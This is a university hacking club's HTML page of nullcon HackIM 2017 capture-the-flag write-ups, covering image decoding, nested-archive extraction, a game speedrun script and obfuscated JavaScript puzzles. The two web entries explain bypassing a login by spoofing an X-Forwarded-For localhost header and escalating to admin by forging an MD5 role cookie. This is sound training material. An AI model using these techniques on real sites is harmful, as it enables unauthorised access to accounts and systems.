-
Notifications
You must be signed in to change notification settings - Fork 3
/
Copy pathnullcon.html
1275 lines (1047 loc) · 61.6 KB
/
nullcon.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/html">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="description" content="">
<meta name="author" content="">
<title>Cornell Hacking Club</title>
<!-- Bootstrap Core CSS -->
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<!-- Custom CSS -->
<link href="static/css/modern-business.css" rel="stylesheet">
<link href="static/css/general.css" rel="stylesheet">
<!-- Custom Fonts -->
<link href="static/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
<![endif]-->
</head>
<body>
<!-- Navigation -->
<nav class="navbar navbar-inverse navbar-fixed-top" role="navigation">
<div class="container">
<!-- Brand and toggle get grouped for better mobile display -->
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse"
data-target="#bs-example-navbar-collapse-1">
<span class="sr-only">Toggle navigation</span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="../">Cornell Hacking Club</a>
</div>
<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse" id="bs-example-navbar-collapse-1">
<ul class="nav navbar-nav navbar-right">
<li>
<a href="../about">About</a>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Resources <b class="caret"></b></a>
<ul class="dropdown-menu">
<li>
<a href="../lectures">Lectures/Workshops</a>
</li>
<li>
<a href=../writeups>Writeups</a>
</li>
<li>
<a href="../guides">General Guides</a>
</li>
<li>
<a href="../tools">Tools</a>
</li>
</ul>
</li>
<li class="dropdown">
<a href="#" class="dropdown-toggle" data-toggle="dropdown">Other Pages <b class="caret"></b></a>
<ul class="dropdown-menu">
<li>
<a href="../faq">FAQ</a>
</li>
</ul>
</li>
</ul>
</div>
<!-- /.navbar-collapse -->
</div>
<!-- /.container -->
</nav>
<!-- Page Content -->
<div class="container">
<!-- Page Heading/Breadcrumbs -->
<div class="row">
<div class="col-lg-12">
<h1 class="page-header">nullcon HackIM
</small>
</h1>
<ol class="breadcrumb">
<li><a href="../../">Home</a>
</li>
<li><a href="../">Writeups</a></li>
<li class="active">nullcon HackIM</li>
</ol>
</div>
</div>
<!-- /.row -->
<!-- Content Row -->
<div class="row">
<!-- Start of writeup -->
<div class="col-lg-12">
<hr>
<!-- Blog Post -->
<h1>Programming 100</h1>
<hr>
<!-- Date/Time -->
<p><i class="fa fa-clock-o"></i> Posted on February 21, 2017 at 6:30 AM</p>
<hr>
We unearthed this text file from one of the older servers and want to know what this is all about. Could you please analyse this and let us know your finding?
<p><a href="static/files/abc.txt">abc.txt</a></p>
<hr>
<p>Viewing the text file, we note that it looks like a python list consisting mostly of (255, 255, 255). If you've done any kind of image processing work, this kind of structure and values should jump out to you as a representation of an RGB image. This is mainly due to the tuples consisting mainly of "255"'s, the maximal RGB value.</p>
<p> I used Jupyter notebooks to display this data: </p>
<pre><code>
import matplotlib.pyplot as plt
import numpy as np
f = open("abc.txt", 'r')
x = eval(f.readline())
matrix = np.array([[1 if i==(255,255,255) else 0 for i in x[j*929:(j+1)*929]] for j in range(500,569)],dtype=np.uint8)
plt.imshow(matrix, aspect="auto")</code></pre>
<p>Running this code, we obtain: </p>
<img src="static/img/nullconprogramming1.jpg"></img>
<h3><b>Flag:</b> flag{Pil_PIL_PIL}</h3>
</div>
<!-- End of writeup -->
<div class="col-lg-12">
<h1>Programming300</h1>
<p><i class="fa fa-clock-o"></i> Posted on Tuesday, February 21, 2017 at 4:20 PM</p>
<p class="lead">Dig deeper and try harder</p>
<p>The challenge page links to a file named <code>26685</code>. Running <code>file</code> on the downloaded content reveals that it is an LZMA compressed data file. I used a tool called <code>dtrx</code> or "Do The Right Extraction" regularly so I tried that out and was greeted with another archive: a tarball. The following automates the process of extracting nested archives with special cases for archives not handled by <code>dtrx</code>.
<pre class="prettyprint">
<code class="language-bash">
#!/bin/bash
set -e
case "$(file 26685)" in
"26685: ZPAQ stream, level 1")
mv 26685 26685.zpaq
zpaq x 26685
;;
"26685: XZ compressed data")
mv 26685 26685.xz
unxz 26685.xz
;;
"26685: lzip compressed data, version: 1")
lzip -d 26685
mv 26685.out 26685
;;
"26685: ARJ archive data, v11, slash-switched, original name: , os: Unix")
mv 26685 26685.arj
arj e 26685
;;
"26685: Zoo archive data, v2.10, modify: v2.0+, extract: v1.0+")
mv 26685 26685.zoo
./booz.run x 26685
;;
"26685: NuFile archive (apple ][) data")
nulib2 -p 26685 > 26685.nu
mv 26685.nu 26685
;;
"26685: bzip2 compressed data, block size = 900k")
bzip2 -d -f 26685
mv 26685.out 26685
;;
*)
dtrx -o -n 26685
;;
esac
</code>
</pre>
<p>The above was invoked with:</p>
<pre><code>while ./extracter.sh; do :; done</code></pre>
<p>The only formats that posed immediate difficulty were the NuFile archive and the Zoo archive. The NuFile archive had me find an <a href=https://github.com/fadden/nulib2>open source implementation of the archiving library</a>. The Zoo archive lead me to the <code>booz</code> extraction program. Eventually I was able to decrypt the archive nest to a textfile containing a printout from <code>ls -la</code>.</p>
<pre><code>total 120
drwx------ 2 root root 28672 Dec 23 21:01 apt-dpkg-install-kKBLWj
-rw-r--r-- 1 root root 71259 Dec 23 19:50 apt-fast.list
-rw-r--r-- 1 root root 0 Dec 23 19:50 apt-fast.lock
-rw-r--r-- 1 root root 0 Dec 23 21:03 secr
drwx------ 3 root root 4096 Dec 23systemd-private-20af98806288452f91376e836938dc35-colord.service-hbUpEj
drwx------ 3 root flag 4096 Dec 23 19:30 63336C756448746861486C35634442684C565A686353467566513D3D </code></pre>
<p>Clearly we have a file name that will point us to the flag (owned by the <code>flag</code> user). The other files looked interesting but they ended up being red herrings. Eventually the string was decoded into the flag:
<pre><code>63336C756448746861486C35634442684C565A686353467566513D3D
==> (Hex to ASCII)
c3ludHthaHl5cDBhLVZhcSFufQ==
==> (Base64 to UTF-8)
synt{ahyyp0a-Vaq!n}
==> (Caeser Cipher ROT13 to ROT0)
flag{nullc0n-Ind!a}</code></pre>
<h3><b>Flag:</b> flag{nullc0n-Ind!a}</h3>
</div>
</div>
<!-- End of writeup -->
<!-- Start of writeup -->
<div class="col-lg-12">
<hr>
<!-- Blog Post -->
<h1>Programming 400</h1>
<hr>
<!-- Date/Time -->
<p><i class="fa fa-clock-o"></i> Posted on February 21, 2017 at 6:30 AM</p>
<hr>
Destroy the enemy bot and take control of our precious next generation robo.
<p>52.90.9.177:9999</p>
<hr>
<p>Upon connecting to this with netcat, we are confronted with a text based adventure. You could get through this game manually, but this game could be broadly separated into two categories. The first was obtaining all the necessary components of your robot. The tricky part was realizing that a certain code (abacus77) retrieved from one of the destroyed robots could be entered into another to receive the laser.</p>
<p> However, many teams got stuck here (and so did I for a bit). The key lay in paying close attention to how you died when confronting the final boss. If you confronted the final boss without spending too much time, you would attempt to fight it, only to be defeated by the gloating boss. However, if you wasted a lot of moves exploring the map, you wouldn't even attempt to fight back; you would shut down due to your low battery.</p>
<p>So what if we tried to speed our way through the level? In the process of exploring the level, I had written several expect scripts to automate several processes, so I glued them together to speedrun the level.</p>
<pre><code>#!/usr/bin/env expect
spawn nc 52.90.9.177 9999
expect "ib0t Hangar"
send "4\n"
sleep 2;
expect "Re\-ib0t\-control\:\>"
send "1\n"
sleep .1;
expect "\[KEYPAD\]>"
send "abacus77\n"
sleep 2;
expect "service port"
send "service port\n"
sleep 2;
expect "Observation Deck"
send "2\n"
sleep 2;
expect "Main Elevator"
send "1\n"
expect "service port"
send "service port\n"
expect "Elevator"
send "6\n"
expect "Terminate\n"
send "1\n"
expect "service port"
send "service port\n"
expect "Observation deck"
send "5\n"
expect "Enemy Command ib0t"
send "1\n"
interact</code></pre>
<p> This beat the boss and gave you your flag.</p>
<h3><b>Flag:</b> flag{g@me_t!me_!$_g00d}</h3>
</div>
<div class="col-lg-12">
<hr>
<!-- Blog Post -->
<h1>Misc 100</h1>
<hr>
<!-- Date/Time -->
<p><i class="fa fa-clock-o"></i> Posted on February 22, 2017 at 6:30 AM</p>
<hr>
You are given some old and new programs to try. The plain-text key is hidden inside these programs.
<p><a href="static/tryme.txt">tryme.txt</a></p>
<hr>
<p>Upon opening the file, we are confronted with code snippets in many different languages (many of which are esoteric). Although I didn't manage to execute every piece of code, I will explain some of them.</p>
<p>The first one was simple C++. It gave nothing interesting, just some meaningless numbers.</p>
<pre><code>#include <iostream>
#include <string>
#include <boost/lexical_cast.hpp>
void Run( const std::string& v, int tgt, int start ) {
for( ; tgt >= 2 * start + 1; ++start )
Run( v + ' ' + boost::lexical_cast<std::string>( start ), tgt - start, start + 1 );
std::cout << v << ' ' << tgt << std::endl;
}
int main() {
Run( std::string(), 10, 1 );
getchar();
}</code></pre>
<p>The next one was Javascript (although very obfuscated). Due to javascript's weak typing and "ability" to coerce nearly every type, it's possible to make programs that look like this</p>
<pre><code>$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\""+$.$$$$+(![]+"")[$._$_]+$.$_$_+"\\"+$.__$+$.$__+$.$$$+"{"+$.__+"\\"+$.__$+$.$_$+$.___+"\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$._$$+"_\\"+$.__$+$.$_$+$.__$+"\\"+$.__$+$.$$_+$._$$+"_\\"+$.__$+$.$_$+$.$$_+$._$+$.__+"_"+$.__+"\\"+$.__$+$.$_$+$.___+$.$$$_+"_"+$.$$$$+(![]+"")[$._$_]+$.$_$_+"\\"+$.__$+$.$__+$.$$$+"}\\\"\\"+$.$__+$.___+")"+"\"")())();</code></pre>
<p>This simply popped up an alert saying "flag{this_is_not_the_flag}". I tried submitting it, but unluckily, they were telling the truth.</p>
<p>Next we had some random ASCII text. I recognized it as Malbolge, due to the complete lack of structure. I ran it in <a href="https://zb3.github.io/malbolge-tools/">this interpreter.</a> As malbolge code is nearly impossible to write, this merely printed out "Hello World".</p>
<pre><code>('&%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@>}=<M:9wv6WsU2T|nm-,jcL(I&%$#"
`CB]V?Tx<uVtT`Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj"Fhg${z@></code></pre>
<p></p>
<p>Next we had some undecipherable Unicode garbage and then some Java garbage, which I decided to skip over. I couldn't figure out what language the unicode was in, and the Java program took a lot of setup to get right.</p>
<p>Following that, we had another code snippet that looked like our earlier obfuscated javascript code. Upon executing this, however, we ran into recursion depth limits no matter how high I set the limit.</p>
<p>Next, we had some Bash code, which I executed in my terminal, giving us some ascii art (it had better formatting than this on the terminal) </p>
<pre><code> _ _ _ _ _ _ _
| | | | ___| | | ___ __ _____ _ __| | __| | |
| |_| |/ _ \ | |/ _ \ \ \ /\ / / _ \| '__| |/ _` | |
| _ | __/ | | (_) | \ V V / (_) | | | | (_| |_|
|_| |_|\___|_|_|\___/ \_/\_/ \___/|_| |_|\__,_(_)
▐▌ █ ▐▙ █ █ █ ▗▛▀▙ ▟▜▖ ▗█ ▗█▌ ▗█▖
▐▙▄█ ▀▜▖▝▙▀▙▝▙▀▙▐▌ █ ▐▛▙█▗▛▀▙▐▌▖█ ▜▄▛▗▛▀▙ ▀▜▖▝▙▛▙ ▄▛▐▌▖█ █ ▗▛▐▌ ▝█▘
▐▌ █▗▛▜▌ █▄▛ █▄▛▝▙▄█ ▐▌▝█▐▛▀▀▐▙▙█ █ ▐▛▀▀▗▛▜▌ █ ▟▘▄▝▙▗▛ █ ▝▀▜▛ ▀
▝▘ ▀ ▀▘▀▗█▖ ▗█▖ ▗▄▄▛ ▝▘ ▀ ▀▀▘ ▀▝▘ ▝▀▘ ▀▀▘ ▀▘▀▝▀▘ ▝▀▀▀ ▝▀ ▀▀▀ ▀▀ ▀
▟▙█▖▟▙█▖ ▜▌ █ █ ▝▘ █ ▝█ ▟▙█▖▟▙█▖
███▌███▌ ▟▀▟▘▟▀▜▖▟▀▜▖▐▌▟▘ ▝▀▙ ▀█▀ ▀█▀ ▜▌ ▀█▀ █ █ ▟▀█ ▟▀▜▖ ███▌███▌
▝█▛ ▝█▛ ▜▄█ █▀▀▘█▀▀▘▐▛▙ ▟▀█ █▗▖ █▗▖ ▐▌ █▗▖█ █ █ █ █▀▀▘ ▝█▛ ▝█▛
▝ ▝ ▄▄▛ ▝▀▀ ▝▀▀ ▀▘▝▘ ▝▀▝▘ ▝▀ ▝▀ ▀▀ ▝▀ ▝▀▝▘▝▀▝▘▝▀▀ ▝ ▝
... And thank you for reading!!</pre></code>
<p>Finally, we ran into this</p>
<pre><code>゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');</code></pre>
<p>I had no idea what this could be. I wasn't familiar with any kind of esoteric programming language that looked like this, so I eventually decided to run it in my browser console. "Javascript has surprised me before", I thought. And that's exactly what happened. Running this in the console gives us an alert with the flag: </p>
<h3><b>Flag:</b> flag{flags_are_useless_in_real_world}</h3>
</div>
<!-- Start of writeup -->
<div class="col-lg-12">
<hr>
<!-- Blog Post -->
<h1>Web100</h1>
<hr>
<!-- Date/Time -->
<p><i class="fa fa-clock-o"></i> Posted on February 13, 2017 at 9:45 AM</p>
<hr>
<p class="lead">Chris Martin wants to go home. Can you help him get there as soon as possible? http://54.152.19.210/web100/
</p>
<hr>
<p>The site is just a simple username and password protected login. One can assume that proper authentication will lead to the flag.</p>
<br/>
<p>The source code has a bash64 encoded hash as a comment and we can assume it is going to be useful. After decoding, we see a md5 hash.</p>
<br/>
<pre><code>
MmI0YjAzN2ZkMWYzMDM3NWU1Y2Q4NzE0NDhiNWI5NWM=
Decoded: 2b4b037fd1f30375e5cd871448b5b95c
</code></pre>
<br/>
<p>Googling the hash brings up very little, however, we find the xml files used by a radio station on a Google cached page from December 2016.</p>
<br/>
<pre><code><xmp>
<morceau id="6">
<date_prog><![CDATA[2016-12-08 06:49:03]]></date_prog>
<categorie><![CDATA[C1 VIR R]]></categorie>
<chanteur><![CDATA[COLDPLAY]]></chanteur>
<chanson><![CDATA[Paradise]]></chanson>
<pochette><![CDATA[http://covers.eg-ad.fr/coldplay-paradise.jpg]]></pochette>
<duration><![CDATA[]]></duration>
<artiste_id></artiste_id>
<title_id>2b4b037fd1f30375e5cd871448b5b95c</title_id>
<next><![CDATA[]]></next>
<artistnext><![CDATA[]]></artistnext>
<titlenext><![CDATA[La musique revient vite ...]]></titlenext>
<categorynext><![CDATA[]]></categorynext>
<imagenext><![CDATA[]]></imagenext>
<runtimenext><![CDATA[]]></runtimenext>
</morceau>
</xmp>
</code></pre>
<br/>
<p>The hash is associated with the song Paradise by Coldplay. Given that our hint was about Chris Martin, we know we are on the right track. Playing around with an md5 hash calculator we find the hash is of 'coldplayparadise'.</p>
<br/>
<p>From this, we can assume our username is 'coldplay' and password is 'paradise' but we still aren't able to login. The nullcon twitter page tweeted a hint to the challenge by saying 'There's no place like home.' This is the famous quote which refers to the localhost ip address '127.0.0.1'. Adding a 'X-Forwarded-For' header pointing to localhost ends up doing the trick.</p>
<br/>
<h3><b>Flag:</b> flag{4f9361b0302d4c2f2eb1fc308587dfd6}</h3>
</div>
<!-- End of writeup -->
<!-- Start of writeup -->
<div class="col-lg-12">
<hr>
<!-- Blog Post -->
<h1>Web200</h1>
<hr>
<!-- Date/Time -->
<p><i class="fa fa-clock-o"></i> Posted on February 17, 2017 at 8:00 PM</p>
<br/>
<p class="lead">There are two kinds of people in this world. One with all the privileges and the others. Can you get the flag by eating some British biscuit?</p>
<br/>
<p>The site is a login form with the option to either sign in or sign up. The form itself is not vulnerable, however, we can sign in using various default username/password combinations, such as admin:admin. Signing in with this account gives us a simple page with the message "Welcome limited user!" and a logout button. </p>
<br/>
<p>Looking at the request headers for this page, we can see that aside from PHPSESSID, two additional cookies are being used for authentication: u and r.</p>
<br/>
<pre><code>
u=351e76680321232f297a57a5a743894a0e4a801fc3
r=351e766803d63c7ede8cb1e1c8db5e51c63fd47cff
</code></pre>
<br/>
<p>The cookies are both 42 characters long and begin with the same 10 character long string "351e766803". The second part of each cookie appears to be an MD5 hash. Decrypting them, we get the folowing:</p>
<br/>
<pre><code>
21232f297a57a5a743894a0e4a801fc3 MD5 : admin
d63c7ede8cb1e1c8db5e51c63fd47cff MD5 : limited
</code></pre>
<br/>
<p>It is clear that the 'r' cookie controls the access level of the account. Changing the value of this cookie to "351e766803" + the MD5 hash of "admin" allows us to gain access to the administrator account, which has the flag on the home page.</p>
<br/>
<h3><b>Flag:</b> flag{bb6df1e39bd297a47ed0eeaea9cac7ee}</h3>
</div>
<!-- End of writeup -->
